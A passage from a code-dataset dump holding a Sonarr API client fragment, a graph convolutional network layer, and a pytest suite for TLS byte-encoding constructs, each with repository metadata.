f'{self.generate_api_query(f\"series\")}/{media_id}'\n return self._media_server.remove_from_library(query, self._api_key_identifier)\n\n def get_root_folders(self):\n query = self.generate_api_query(\"Rootfolder\")\n return self._media_server.get_root_folders(query, self._api_key_identifier)\n\n def get_quality_profiles(self):\n query = self.generate_api_query(\"qualityProfile\")\n return self._media_server.get_quality_profiles(query, self._api_key_identifier)\n\n def generate_api_query(self, endpoint: str, parameters: dict = None):\n return self._media_server.generate_api_query(self._api_query, endpoint, parameters)\n\n def _get_language_profile_id(self, language):\n req = requests.get(self.generate_api_query(\"languageProfile\"),\n headers={'X-Api-Key': str(os.environ.get(\"SONARR_API_KEY\"))})\n parsed_json = req.json()\n language_id = next((lang[\"id\"] for lang in parsed_json if lang[\"name\"] == language), parsed_json[0][\"id\"])\n\n return language_id\n\n @staticmethod\n def _build_data(json_data, path, quality_profile_id, language_id, seasons):\n built_data = {\n \"qualityProfileId\": int(quality_profile_id),\n \"rootFolderPath\": path,\n \"addOptions\": {\n \"ignoreEpisodesWithFiles\": \"true\",\n \"ignoreEpisodesWithoutFiles\": \"false\",\n \"searchForMissingEpisodes\": \"true\",\n },\n \"monitored\": True,\n \"languageProfileId\": language_id,\n \"seasons\": seasons,\n }\n\n required_fields = [\"tvdbId\", \"tvRageId\", \"title\", \"titleSlug\", \"images\"]\n\n for key in required_fields:\n built_data[key] = json_data[key]\n return built_data\n", "repo_name": "Joe85gr/lookarr", "sub_path": "src/infrastructure/sonarr/sonarr.py", "file_name": "sonarr.py", "file_ext": "py", "file_size_in_byte": 4514, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "src.infrastructure.interfaces.imedia_server_repository.IMediaServerRepository", "line_number": 17, "usage_type": "name"}, {"api_name": "src.logger.Logger", "line_number": 18, "usage_type": "name"}, {"api_name": "src.domain.config.app_config.Config", "line_number": 18, "usage_type": "name"}, {"api_name": "src.infrastructure.media_server_repository.IMediaServerRepositoryBase", "line_number": 18, "usage_type": "name"}, {"api_name": "src.domain.config.media_server_config.MediaServerConfig", "line_number": 19, "usage_type": "name"}, {"api_name": "src.infrastructure.api_query.ApiConfig", "line_number": 31, "usage_type": "call"}, {"api_name": "src.infrastructure.sonarr.series.Series", "line_number": 35, "usage_type": "name"}, {"api_name": "urllib.parse.quote", "line_number": 39, "usage_type": "call"}, {"api_name": "urllib.parse.quote", "line_number": 43, "usage_type": "call"}, {"api_name": "src.infrastructure.sonarr.series.Series", "line_number": 50, "usage_type": "argument"}, {"api_name": "src.infrastructure.sonarr.series.Series", "line_number": 48, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 68, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 68, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 71, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 93, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 94, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 94, "usage_type": "attribute"}, {"api_name": "kink.inject", "line_number": 16, "usage_type": "name"}]} {"seq_id": "37618659442", "text": "from torch_sparse import SparseTensor, fill_diag, sum, mul, matmul\nfrom torch.nn import Module, Parameter\nfrom torch import Tensor\nfrom typing import Optional\nfrom graph_torch.nn.init import glorot\n\ndef gcn_norm(adj: SparseTensor, add_self_loops: bool = True):\n if adj.has_value() == False:\n adj = adj.fill_value(1.)\n if add_self_loops:\n A_tilde = fill_diag(adj, 1)\n D_tilde = sum(A_tilde, dim = 1)\n D_tilde_inv_sqrt = D_tilde.pow_(-0.5)\n D_tilde_inv_sqrt.masked_fill_(D_tilde_inv_sqrt == float('inf'), 0)\n A_hat = mul(mul(A_tilde, D_tilde_inv_sqrt.unsqueeze(0)), D_tilde_inv_sqrt.unsqueeze(0))\n return A_hat\n\nclass GCN_layer(Module):\n \n def __init__(self, \n in_channels: int, \n out_channels: int, \n add_self_loops: bool = True,\n weight_init = glorot\n ):\n super(GCN_layer, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.add_self_loops = add_self_loops\n self.weights = Parameter(data = Tensor(in_channels, out_channels))\n weight_init(self.weights)\n \n def forward(self, X: Tensor, edges: SparseTensor):\n \n A_hat = gcn_norm(adj = edges, \n add_self_loops = self.add_self_loops\n )\n out = matmul(A_hat, X) @ self.weights\n return out\n", "repo_name": "ChainlessCoder/GraphTorch", "sub_path": "graph_torch/nn/gcn.py", "file_name": "gcn.py", "file_ext": "py", "file_size_in_byte": 1412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch_sparse.SparseTensor", "line_number": 7, "usage_type": "name"}, {"api_name": "torch_sparse.fill_diag", "line_number": 11, "usage_type": "call"}, {"api_name": "torch_sparse.sum", "line_number": 12, "usage_type": "call"}, {"api_name": "torch_sparse.mul", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 18, "usage_type": "name"}, {"api_name": "graph_torch.nn.init.glorot", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 33, "usage_type": "name"}, {"api_name": "torch_sparse.SparseTensor", "line_number": 33, "usage_type": "name"}, {"api_name": "torch_sparse.matmul", "line_number": 38, "usage_type": "call"}]} {"seq_id": "23552444868", "text": "# This file is dual licensed under the terms of the Apache License, Version\n# 2.0, and the BSD License. See the LICENSE file in the root of this repository\n# for complete details.\n\nfrom __future__ import absolute_import, division, print_function\n\nimport enum\n\nfrom construct import Pass, Struct, UBInt16, UBInt8\nfrom construct.adapters import MappingError, ValidationError, Validator\nfrom construct.core import AdaptationError, Construct, Container\n\nimport pytest\n\nfrom tls._common._constructs import (BytesAdapter, EnumClass, EnumSwitch,\n Opaque, PrefixedBytes, SizeAtLeast,\n SizeAtMost, SizeWithin,\n TLSExprValidator, TLSOneOf,\n TLSPrefixedArray, UBInt24, _UBInt24)\n\nfrom tls.exceptions import TLSValidationException\n\n\n@pytest.mark.parametrize(\"byte,number\", [\n (b\"\\x00\\x00\\xFF\", 255),\n (b\"\\x00\\xFF\\xFF\", 65535),\n (b\"\\xFF\\xFF\\xFF\", 16777215)\n])\nclass TestUBInt24(object):\n def test_encode(self, byte, number):\n ubint24 = _UBInt24(Construct(name=\"test\"))\n assert ubint24._encode(number, context=object()) == byte\n\n def test_decode(self, byte, number):\n ubint24 = _UBInt24(Construct(name=\"test\"))\n assert ubint24._decode(byte, context=object()) == number\n\n\ndef test_ubint24():\n assert isinstance(UBInt24(\"test\"), _UBInt24)\n\n\nclass TestBytesAdapter(object):\n \"\"\"\n Tests for :py:class:`tls._common._constructs.BytesAdapter`.\n \"\"\"\n\n @pytest.fixture\n def bytes_adapted(self):\n \"\"\"\n A :py:class:`tls._common._constructs.BytesAdapter` that adapts a\n trivial :py:func:`construct.Construct`.\n \"\"\"\n return BytesAdapter(Construct(name=None))\n\n @pytest.mark.parametrize(\"non_bytes\", [\n u\"invalid\",\n u\"\\u2022\",\n object(),\n ])\n def test_encode_disallows_non_bytes(self, bytes_adapted, non_bytes):\n \"\"\"\n :py:meth:`tls._common._constructs.BytesAdapter._encode` raises a\n :py:exc:`construct.core.AdaptationError` when encoding\n anything that isn't :py:class:`bytes`.\n \"\"\"\n with pytest.raises(AdaptationError) as e:\n bytes_adapted._encode(non_bytes, context=object())\n\n assert 'requires bytes' in e.value.args[0]\n\n @pytest.mark.parametrize(\"byte_string\", [\n b\"valid\",\n b\"\\xff\",\n ])\n def test_encode_allows_bytes(self, bytes_adapted, byte_string):\n \"\"\"\n :py:meth:`tls._common._constructs.BytesAdapter._encode` encodes\n :py:class:`bytes` without raising an exception.\n \"\"\"\n assert bytes_adapted._encode(byte_string,\n context=object()) == byte_string\n\n @pytest.mark.parametrize(\"value\", [\n b\"bytes\",\n u\"unicode\",\n \"native\",\n object(),\n ])\n def test_decode_passes_value_through(self, bytes_adapted, value):\n \"\"\"\n :py:meth:`tls._common._constructs.BytesAdapter._decode` decodes\n :py:class:`bytes` as :py:class:`bytes`.\n \"\"\"\n assert bytes_adapted._decode(value, context=object()) is value\n\n\nclass TestTLSExprValidator(object):\n \"\"\"\n Tests for :py:class:`tls._common._constructs.TLSExprValidator`.\n \"\"\"\n @pytest.fixture\n def data_class(self):\n \"\"\"\n A :py:func:`construct.macros.UBInt8` construct that requires the\n input value to be equal to 6.\n \"\"\"\n return TLSExprValidator(UBInt8('input_byte'),\n lambda obj, ctx: obj == 6)\n\n def test_parse_invalid(self, data_class):\n \"\"\"\n :py:class:`tls.common._constructs.TLSExprValidator` raises a\n ``TLSValidationException`` when parsing a value that does not\n evaluate to the provided expression.\n \"\"\"\n with pytest.raises(TLSValidationException):\n data_class.parse(b'\\xff')\n\n def test_parse_valid(self, data_class):\n \"\"\"\n :py:class:`tls.common._constructs.TLSExprValidator` parses a value\n that evaluates to the provided expression.\n \"\"\"\n assert data_class.parse(b'\\x06') == 6\n\n def test_build_invalid(self, data_class):\n \"\"\"\n :py:class:`tls.common._constructs.TLSExprValidator` raises a\n ``TLSValidationException`` when serializing a value that does not\n evaluate to the provided expression.\n \"\"\"\n with pytest.raises(TLSValidationException):\n data_class.build(2)\n\n def test_build_valid(self, data_class):\n \"\"\"\n :py:class:`tls.common._construct.TLSExprValidator` successfully\n serializes a value into bytes when it evaluates to the provided\n expression.\n \"\"\"\n assert data_class.build(6) == b'\\x06'\n\n\nclass TestTLSOneOf(object):\n \"\"\"\n Tests for :py:meth:`tls._common._constructs.TLSOneOf`.\n \"\"\"\n\n @pytest.fixture\n def data_class(self):\n \"\"\"\n A :py:func:`construct.macros.UBInt8` construct that requires the\n input value to be equal to one of 1, 3, or 5.\n \"\"\"\n return TLSOneOf(UBInt8('input'),\n [1, 3, 5])\n\n def test_parse_invalid(self, data_class):\n \"\"\"\n :py:meth:`tls.common._constructs.TLSOneOf` raises a\n ``TLSValidationException`` when parsing a value that is not one of\n the values in the provided list.\n \"\"\"\n with pytest.raises(TLSValidationException):\n data_class.parse(b'\\xff')\n\n @pytest.mark.parametrize('input_bytes,parsed_output', [\n (b'\\x01', 1),\n (b'\\x03', 3),\n (b'\\x05', 5),\n ])\n def test_parse_valid(self, data_class, input_bytes, parsed_output):\n \"\"\"\n :py:meth:`tls.common._constructs.TLSOneOf` parses a value that\n equals one of the values in the provided list.\n \"\"\"\n assert data_class.parse(input_bytes) == parsed_output\n\n def test_build_invalid(self, data_class):\n \"\"\"\n :py:meth:`tls.common._constructs.TLSOneOf` raises a\n ``TLSValidationException`` when serializing a value that is not one\n of the values in the provided list.\n \"\"\"\n with pytest.raises(TLSValidationException):\n data_class.build(2)\n\n @pytest.mark.parametrize('input,built_bytes', [\n (1, b'\\x01'),\n (3, b'\\x03'),\n (5, b'\\x05'),\n ])\n def test_build_valid(self, data_class, input, built_bytes):\n \"\"\"\n :py:meth:`tls.common._construct.TLSOneOf` successfully serializes a\n value into bytes when it evaluates to one of the values in the\n provided list.\n \"\"\"\n assert data_class.build(input) == built_bytes\n\n\n@pytest.mark.parametrize(\"bytestring,encoded\", [\n (b\"\", b\"\\x00\" + b\"\"),\n (b\"some value\", b\"\\x0A\" + b\"some value\"),\n (b\"a\" * 255, b\"\\xff\" + b\"a\" * 255),\n])\nclass TestPrefixedBytesWithDefaultLength(object):\n \"\"\"\n Tests for :py:func:`tls._common._constructs.PrefixedBytes` with the default\n :py:func:`construct.macros.UBInt8` ``length_field`` construct.\n \"\"\"\n\n @pytest.fixture\n def prefixed_bytes(self):\n \"\"\"\n A trivial :py:func:`tls._common._constructs.PrefixedBytes` construct\n with the default :py:func:`construct.macros.UBInt8` length field.\n \"\"\"\n return PrefixedBytes(\"PrefixedBytes\")\n\n def test_build(self, prefixed_bytes, bytestring, encoded):\n \"\"\"\n :py:meth:`tls._common._constructs.PrefixedBytes` encodes\n :py:class:`bytes` as a length-prefixed byte sequence.\n \"\"\"\n assert prefixed_bytes.build(bytestring) == encoded\n\n def test_parse(self, prefixed_bytes, bytestring, encoded):\n \"\"\"\n :py:meth:`tls._common._constructs.PrefixedBytes` decodes a\n length-prefixed byte sequence as :py:class:`bytes`.\n \"\"\"\n assert prefixed_bytes.parse(encoded) == bytestring\n\n def test_round_trip(self, prefixed_bytes, bytestring, encoded):\n \"\"\"\n :py:meth:`tls._common._constructs.PrefixedBytes` decodes a\n length-prefixed binary sequence encoded by\n :py:meth:`tls._common._constructs.PrefixedBytes` and vice versa.\n \"\"\"\n parsed = prefixed_bytes.parse(encoded)\n assert prefixed_bytes.build(parsed) == encoded\n unparsed = prefixed_bytes.build(bytestring)\n assert prefixed_bytes.parse(unparsed) == bytestring\n\n\n@pytest.mark.parametrize(\"bytestring,encoded,length_field\", [\n (b\"\", b\"\\x00\\x00\" + b\"\", UBInt16(\"length\")),\n (b\"some value\", b\"\\x00\\x00\\x0A\" + b\"some value\", UBInt24(\"length\"))\n])\nclass TestPrefixedBytesWithOverriddenLength(object):\n \"\"\"\n Tests for :py:func:`tls._common._constructs.PrefixedBytes` with a\n user-supplied ``length_field`` construct.\n \"\"\"\n\n def test_build(self, bytestring, encoded, length_field):\n \"\"\"\n :py:meth:`tls._common._constructs.PrefixedBytes` uses the supplied\n ``length_field`` to encode :class:`bytes` as a length-prefix\n binary sequence.\n \"\"\"\n prefixed_bytes = PrefixedBytes(\"name\", length_field=length_field)\n assert prefixed_bytes.build(bytestring) == encoded\n\n def test_parse(self, bytestring, encoded, length_field):\n \"\"\"\n :py:meth:`tls._common._constructs.PrefixedBytes` decodes a\n length-prefixed binary sequence into :py:class:`bytes` according to the\n supplied ``length_field``.\n \"\"\"\n prefixed_bytes = PrefixedBytes(\"name\", length_field=length_field)\n assert prefixed_bytes.parse(encoded) == bytestring\n\n def test_round_trip(self, bytestring, encoded, length_field):\n \"\"\"\n :py:meth:`tls._common._constructs.PrefixedBytes` decodes a\n length-prefixed binary sequence encoded by\n :py:meth:`tls._common._constructs.PrefixedBytes` when the two share a\n ``length_field`` and vice versa.\n \"\"\"\n prefixed_bytes = PrefixedBytes(\"name\", length_field)\n parsed = prefixed_bytes.parse(encoded)\n assert prefixed_bytes.build(parsed) == encoded\n unparsed = prefixed_bytes.build(bytestring)\n assert prefixed_bytes.parse(unparsed) == bytestring\n\n\n@pytest.mark.parametrize(\n \"ints,uint8_encoded\",\n [([], b'\\x00\\x00' + b''),\n ([1, 2, 3], b'\\x00\\x03' + b'\\x01\\x02\\x03'),\n ([1] * 65535, b'\\xFF\\xFF' + b'\\x01' * 65535)])\nclass TestTLSPrefixedArrayWithDefaultLengthFieldSize(object):\n \"\"\"\n Tests for :py:func:`tls._common._constructs.TLSPrefixedArray` where the\n ``length_field_size`` defaults to :py:class`UBInt16`.\n \"\"\"\n\n @pytest.fixture\n def tls_array(self):\n \"\"\"\n A :py:func:`tls._common._constructs.TLSPrefixedArray` of\n :py:func:`construct.macros.UBInt8`.\n \"\"\"\n return TLSPrefixedArray(\"digits\", UBInt8(\"digit\"))\n\n def test_build(self, tls_array, ints, uint8_encoded):\n \"\"\"\n A :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on a\n given :py:func:`construct.Construct` encodes a sequence of objects as a\n 16-bit length followed by each object as encoded by that construct.\n \"\"\"\n assert tls_array.build(ints) == uint8_encoded\n\n def test_parse(self, tls_array, ints, uint8_encoded):\n \"\"\"\n A :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on a\n given :py:func:`construct.Construct` decodes a binary sequence,\n prefixed by its 16-bit length, as a :py:class:`list` of objects decoded\n by that construct.\n \"\"\"\n assert tls_array.parse(uint8_encoded) == ints\n\n def test_round_trip(self, tls_array, ints, uint8_encoded):\n \"\"\"\n A :py:meth:`tls._common._constructs.TLSPrefixedArray` decodes a\n length-prefixed binary sequence encoded by a\n :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on the\n same construct and vice versa.\n \"\"\"\n\n parsed = tls_array.parse(uint8_encoded)\n assert tls_array.build(parsed) == uint8_encoded\n unparsed = tls_array.build(ints)\n assert tls_array.parse(unparsed) == ints\n\n\n@pytest.mark.parametrize(\n \"ints,uint8_encoded\",\n [([], b'\\x00\\x00\\x00' + b''),\n ([1, 2, 3], b'\\x00\\x00\\x03' + b'\\x01\\x02\\x03'),\n ([1] * 65535, b'\\x00\\xFF\\xFF' + b'\\x01' * 65535)])\nclass TestTLSPrefixedArrayWithCustomLengthFieldSize(object):\n \"\"\"\n Tests for :py:func:`tls._common._constructs.TLSPrefixedArray` where the\n ``length_field_size`` is supplied by the user.\n \"\"\"\n\n @pytest.fixture\n def tls_array(self):\n \"\"\"\n A :py:func:`tls._common._constructs.TLSPrefixedArray` of\n :py:func:`construct.macros.UBInt8` where the length prefix for the\n array size is specified with a :py:class`UBInt24` value.\n \"\"\"\n return TLSPrefixedArray(\"digits\", UBInt8(\"digit\"),\n length_field_size=UBInt24)\n\n def test_build(self, tls_array, ints, uint8_encoded):\n \"\"\"\n A :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on a\n given :py:func:`construct.Construct` encodes a sequence of objects as a\n 24-bit length (since ``TLSPrefixedArray.length_field_size`` has been\n set to :py:class`UBInt24`, overriding the default :py:class`UBInt16`)\n followed by each object as encoded by that construct.\n \"\"\"\n assert tls_array.build(ints) == uint8_encoded\n\n def test_parse(self, tls_array, ints, uint8_encoded):\n \"\"\"\n A :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on a\n given :py:func:`construct.Construct` decodes a binary sequence,\n prefixed by its 24-bit length (since\n ``TLSPrefixedArray.length_field_size`` has been set to\n :py:class`UBInt24`, overriding the default :py:class`UBInt16`), as a\n :py:class:`list` of objects decoded by that construct.\n \"\"\"\n assert tls_array.parse(uint8_encoded) == ints\n\n def test_round_trip(self, tls_array, ints, uint8_encoded):\n \"\"\"\n A :py:meth:`tls._common._constructs.TLSPrefixedArray` decodes a\n length-prefixed binary sequence encoded by a\n :py:meth:`tls._common._constructs.TLSPrefixedArray` with a custom\n ``length_field_value`` of :py:class`UBInt24` overriding the default\n :py:class`UBInt16` specialized on the same construct and vice versa.\n \"\"\"\n\n parsed = tls_array.parse(uint8_encoded)\n assert tls_array.build(parsed) == uint8_encoded\n unparsed = tls_array.build(ints)\n assert tls_array.parse(unparsed) == ints\n\n\nclass Equals5(Validator):\n \"\"\"\n A test fixture :py:class:`construct.adapters.Validator` subclass\n that ensures a numeric field equals 5.\n \"\"\"\n\n def _validate(self, obj, context):\n return obj == 5\n\n\nclass TestTLSPrefixedArrayWithLengthValidator(object):\n \"\"\"\n Tests for :py:class:`tls._common._constructs.TLSPrefixedArray` with a\n ``length_validator``.\n \"\"\"\n\n @pytest.fixture\n def TLSUBInt8Array(self): # noqa\n \"\"\"\n A :py:class:`tls._common._constructs.TLSPrefixedArray` specialized on\n :py:func:`construct.macros.UBInt8`\n \"\"\"\n return TLSPrefixedArray(\"data\", UBInt8(\"datum\"))\n\n @pytest.fixture\n def TLSUBInt8Length5Array(self): # noqa\n \"\"\"\n Like\n :py:meth:`TLSPrefixedArrayWithLengthValidator.TLSUBInt8Length5Array`,\n but only accepts arrays of length 5.\n \"\"\"\n return TLSPrefixedArray(\"data\", UBInt8(\"datum\"),\n length_validator=Equals5)\n\n @pytest.mark.parametrize('invalid', [\n [1, 2, 3, 4], # noqa\n [1, 2, 3, 4, 5, 6],\n ])\n def test_build_invalid(self, TLSUBInt8Length5Array, invalid):\n \"\"\"\n :py:class:`tls._common._constructs.TLSPrefixedArray` raises a\n :py:exc:`construct.adapters.ValidationError` when encoding a\n list with an invalid length.\n \"\"\"\n with pytest.raises(ValidationError):\n TLSUBInt8Length5Array.build(invalid)\n\n @pytest.mark.parametrize('invalid', [\n b'\\x00\\x04' + b'\\x01\\x02\\x03\\x04', # noqa\n b'\\x00\\x06' + b'\\x01\\x02\\x03\\x04\\x05\\x06',\n ])\n def test_parse_invalid(self, TLSUBInt8Length5Array, invalid):\n \"\"\"\n :py:class:`tls._common._constructs.TLSPrefixedArray` raises a\n :py:exc:`construct.adapters.ValidationError` when decoding an\n array with an invalid length.\n \"\"\"\n with pytest.raises(ValidationError):\n TLSUBInt8Length5Array.parse(invalid)\n\n def test_parse_valid(self, TLSUBInt8Length5Array, TLSUBInt8Array): # noqa\n \"\"\"\n :py:class:`tls._common._constructs.TLSPrefixedArray` decodes an array\n that passes validation.\n \"\"\"\n valid = b'\\x00\\x05' + b'\\x01\\x02\\x03\\x04\\x05'\n assert TLSUBInt8Array.parse(valid) == TLSUBInt8Array.parse(valid)\n\n def test_build_valid(self, TLSUBInt8Length5Array, TLSUBInt8Array): # noqa\n \"\"\"\n :py:class:`tls._common._constructs.TLSPrefixedArray` encodes an array\n that passes validation.\n \"\"\"\n valid = [1, 2, 3, 4, 5]\n assert TLSUBInt8Array.build(valid) == TLSUBInt8Array.build(valid)\n\n\nclass TestOpaque(object):\n \"\"\"\n Tests for :py:func:`tls._common._constructs.Opaque`.\n \"\"\"\n\n @pytest.fixture\n def opaque_ubint16(self):\n \"\"\"\n A :py:func:`tls._common._constructs.Opaque` specialized on\n :py:func:`construct.UBInt16`.\n \"\"\"\n return Opaque(UBInt16(\"datum\"))\n\n def test_parse(self, opaque_ubint16):\n \"\"\"\n :py:func:`tls._common._constructs.Opaque` decodes an opaque 16\n bit integer.\n \"\"\"\n assert opaque_ubint16.parse(b'\\x00\\x02\\x02\\x80') == 640\n\n def test_build(self, opaque_ubint16):\n \"\"\"\n :py:func:`tls._common._constructs.Opaque` encodes a 16 bit\n integer as an opaque sequence of bytes.\n \"\"\"\n assert opaque_ubint16.build(640) == b'\\x00\\x02\\x02\\x80'\n\n\nclass IntegerEnum(enum.Enum):\n \"\"\"\n An enum of :py:class:`int` instances. Used as a test fixture.\n \"\"\"\n FIRST = 1\n SECOND = 2\n MILLION = 1 << 20\n\n\nclass UnicodeEnum(enum.Enum):\n \"\"\"\n An enum of :py:class:`str` (or :py:class:`unicode`) instances. Used as\n a test fixture.\n \"\"\"\n TEXT = u\"\\u2022 TEXT\"\n\n\nclass TestEnumClass(object):\n \"\"\"\n Tests for :py:func:`tls._common._constructs.EnumClass`.\n \"\"\"\n\n @pytest.fixture\n def UBInt8Enum(self): # noqa\n \"\"\"\n A :py:func:`tls._common._constructs.EnumClass` that adapts\n :py:class:`IntegerEnum`'s members to :py:func:`UBInt8`.\n \"\"\"\n return EnumClass(UBInt8(\"type\"), IntegerEnum)\n\n def test_build(self, UBInt8Enum): # noqa\n \"\"\"\n :py:func:`tls._common._constructs.EnumClass` encodes members of its\n enum according to its construct.\n \"\"\"\n assert UBInt8Enum.build(IntegerEnum.FIRST) == b'\\x01'\n\n def test_parse(self, UBInt8Enum): # noqa\n \"\"\"\n :py:func:`tls._common._constructs.EnumClass` decodes a binary sequence\n as members of its enum via its construct.\n \"\"\"\n assert UBInt8Enum.parse(b'\\x02') == IntegerEnum.SECOND\n\n def test_build_enum_has_wrong_type(self, UBInt8Enum): # noqa\n \"\"\"\n :py:func:`tls._common._constructs.EnumClass` raises\n :py:exc:`construct.adapters.MappingError` when encoding\n something that isn't a member of its enum.\n \"\"\"\n with pytest.raises(MappingError):\n UBInt8Enum.build(UnicodeEnum.TEXT)\n\n\n@pytest.mark.parametrize('type_,value,encoded', [\n (IntegerEnum.FIRST, 1, b'\\x01' + b'\\x00\\x01'),\n (IntegerEnum.SECOND, 1, b'\\x02' + b'\\x00\\x00\\x01'),\n])\nclass TestEnumSwitch(object):\n \"\"\"\n Tests for :py:func:`tls._common._constructs.EnumSwitch`.\n \"\"\"\n\n @pytest.fixture\n def UBInt8EnumMappedStruct(self): # noqa\n \"\"\"\n A :py:class:`construct.core.Struct` containing an\n :py:func:`tls._common._constructs.EnumSwitch` that switches on\n :py:class:`IntegerEnum`. The struct's ``value`` field varies\n depending on the value of its ``type`` and the corresponding\n enum member specified in the ``value_choices`` dictionary\n passed to the :py:func:`tls._common._constructs.EnumSwitch`.\n \"\"\"\n return Struct(\n \"UBInt8EnumMappedStruct\",\n *EnumSwitch(type_field=UBInt8(\"type\"),\n type_enum=IntegerEnum,\n value_field=\"value\",\n value_choices={\n IntegerEnum.FIRST: UBInt16(\"UBInt16\"),\n IntegerEnum.SECOND: UBInt24(\"UBInt24\")}))\n\n def test_build(self, UBInt8EnumMappedStruct, type_, value, encoded): # noqa\n \"\"\"\n A struct that contains :py:func:`tls._common._constructs.EnumSwitch`\n encodes its ``value_field`` according to the enum member specified in\n its ``type_field``.\n \"\"\"\n container = Container(type=type_, value=value)\n assert UBInt8EnumMappedStruct.build(container) == encoded\n\n def test_parse(self, UBInt8EnumMappedStruct, type_, value, encoded): # noqa\n \"\"\"\n A struct that contains :py:func:`tls._common._constructs.EnumSwitch`\n decodes its value field according to the enum member specified by its\n ``type_field``.\n \"\"\"\n container = UBInt8EnumMappedStruct.parse(encoded)\n assert Container(type=type_, value=value) == container\n\n def test_round_trip(self, UBInt8EnumMappedStruct, type_, value, encoded): # noqa\n \"\"\"\n A struct that contains :py:func:`tls._common._constructs.EnumSwitch`\n decodes a binary sequence encoded by a struct with that same\n :py:func:`tls._common._constructs.EnumSwitch` and vice versa.\n \"\"\"\n parsed = UBInt8EnumMappedStruct.parse(encoded)\n assert UBInt8EnumMappedStruct.build(parsed) == encoded\n\n container = Container(type=type_, value=value)\n unparsed = UBInt8EnumMappedStruct.build(container)\n assert UBInt8EnumMappedStruct.parse(unparsed) == container\n\n\n@pytest.mark.parametrize('type_,value,encoded', [\n (IntegerEnum.SECOND, None, b'\\x02'),\n])\nclass TestEnumSwitchWithDefault(object):\n \"\"\"\n Tests for :py:func:`tls._common._constructs.EnumSwitch`, when a default is\n provided, and no matching members are found for the input keys.\n \"\"\"\n @pytest.fixture\n def UBInt8EnumMappedStructWithDefault(self): # noqa\n \"\"\"\n Like ``UBInt8EnumMappedStruct`` but with a default value.\n \"\"\"\n return Struct(\n \"UBInt8EnumMappedStructWithDefault\",\n *EnumSwitch(type_field=UBInt8(\"type\"),\n type_enum=IntegerEnum,\n value_field=\"value\",\n value_choices={\n IntegerEnum.FIRST: UBInt16(\"UBInt16\")},\n default=Pass))\n\n def test_parse_default(self, UBInt8EnumMappedStructWithDefault, type_, value, encoded): # noqa\n \"\"\"\n A struct that contains :py:func:`tls._common._constructs.EnumSwitch`\n decodes its value field according to the enum member specified in the\n default, when no match is found in the``value_choices`` provided.\n \"\"\"\n container = UBInt8EnumMappedStructWithDefault.parse(encoded)\n assert Container(type=type_, value=value) == container\n\n def test_build_default(self, UBInt8EnumMappedStructWithDefault, type_, value, encoded): # noqa\n \"\"\"\n A struct that contains :py:func:`tls._common._constructs.EnumSwitch`\n encodes its ``value_field`` according to the ``default`` specified when\n no match is found in the ``value_choices`` provided.\n \"\"\"\n container = Container(type=type_, value=value)\n assert UBInt8EnumMappedStructWithDefault.build(container) == encoded\n\n\n@pytest.mark.parametrize('min_size,num,acceptable', [\n (0, 0, True),\n (1, 0, False),\n (1, 1, True),\n (1, 2, True),\n])\ndef test_size_at_least_validate(min_size, num, acceptable):\n \"\"\"\n :py:meth:`SizeAtLeast._validate` enforces its minimum size\n inclusively when encoding numbers.\n \"\"\"\n bounded = SizeAtLeast(Construct(name=\"test\"), min_size=min_size)\n if acceptable:\n assert bounded._validate(num, context=object())\n else:\n assert not bounded._validate(num, context=object())\n\n\n@pytest.mark.parametrize('max_size,num,acceptable', [\n (0, 0, True),\n (1, 0, True),\n (1, 1, True),\n (1, 2, False),\n])\ndef test_size_at_most_validate(max_size, num, acceptable):\n \"\"\"\n :py:meth:`SizeAtMost._validate` enforces its maximum size\n inclusively when encoding numbers.\n \"\"\"\n bounded = SizeAtMost(Construct(name=\"test\"), max_size=max_size)\n if acceptable:\n assert bounded._validate(num, context=object())\n else:\n assert not bounded._validate(num, context=object())\n\n\n@pytest.mark.parametrize('min_size,max_size,num,acceptable', [\n (0, 0, 0, True),\n (0, 2, 0, True),\n (1, 2, 1, True),\n (1, 2, 2, True),\n (1, 2, 3, False)\n])\ndef test_size_within_validate(min_size, max_size, num, acceptable):\n \"\"\"\n :py:meth:`SizeWithin._validate` enforces its maximum size\n inclusively when encoding numbers.\n \"\"\"\n bounded = SizeWithin(Construct(name=\"test\"),\n min_size=min_size, max_size=max_size)\n if acceptable:\n assert bounded._validate(num, context=object())\n else:\n assert not bounded._validate(num, context=object())\n", "repo_name": "python-tls/tls", "sub_path": "tls/_common/test/test_constructs.py", "file_name": "test_constructs.py", "file_ext": "py", "file_size_in_byte": 25603, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 162, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tls._common._constructs._UBInt24", "line_number": 31, "usage_type": "call"}, {"api_name": "construct.core.Construct", "line_number": 31, "usage_type": "call"}, {"api_name": "tls._common._constructs._UBInt24", "line_number": 35, "usage_type": "call"}, {"api_name": "construct.core.Construct", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 24, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tls._common._constructs._UBInt24", "line_number": 40, "usage_type": "argument"}, {"api_name": "tls._common._constructs.UBInt24", "line_number": 40, "usage_type": "call"}, {"api_name": "tls._common._constructs.BytesAdapter", "line_number": 54, "usage_type": "call"}, {"api_name": "construct.core.Construct", "line_number": 54, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 67, "usage_type": "call"}, {"api_name": "construct.core.AdaptationError", "line_number": 67, 